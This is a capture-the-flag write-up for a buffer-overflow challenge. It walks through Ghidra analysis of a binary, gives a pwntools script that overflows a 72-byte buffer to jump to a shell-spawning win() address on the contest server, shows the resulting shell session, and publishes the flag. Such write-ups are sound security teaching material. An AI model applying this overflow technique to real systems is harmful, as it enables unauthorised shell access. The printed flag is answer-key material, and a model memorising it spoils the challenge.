Rating:

## Pwn Sanity Check (100 Points)

### Problem
```
This should take about 1337 seconds to solve.
nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480

Tags: Pwn, BOF
File: pwn_sanity_check
```

### Solution
I opened the binary in Ghidra and looked at `main()`, `vuln()` and `win()`.
The tag `BOF` was in the challenge description so I knew right away the task was to Buffer Overflow and get to a different address in memory.

In `vuln()` we know the buffer size for our input is 72 (`0x48` from hex to dec).

In `win()`, the address that made the most sense to get to was the one where the shell was being executed. In Ghidra, the address for this was `004006db`.

Great, so the approach was set. Now to write some python.

```python
from pwn import *

host = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)
host.recv()

buffer_overflow = b'a'*72
buffer_overflow += p64(0x004006db)

host.sendline(buffer_overflow)
host.interactive()
```

Running our exploit...

```
❯ python3 exploit.py
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
will this work?
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
```

Flag: `dctf{Ju5t_m0v3_0n}`

Original writeup (https://github.com/cieran/writeups/blob/main/DragonCTF/pwn/PwnSanityCheck.md).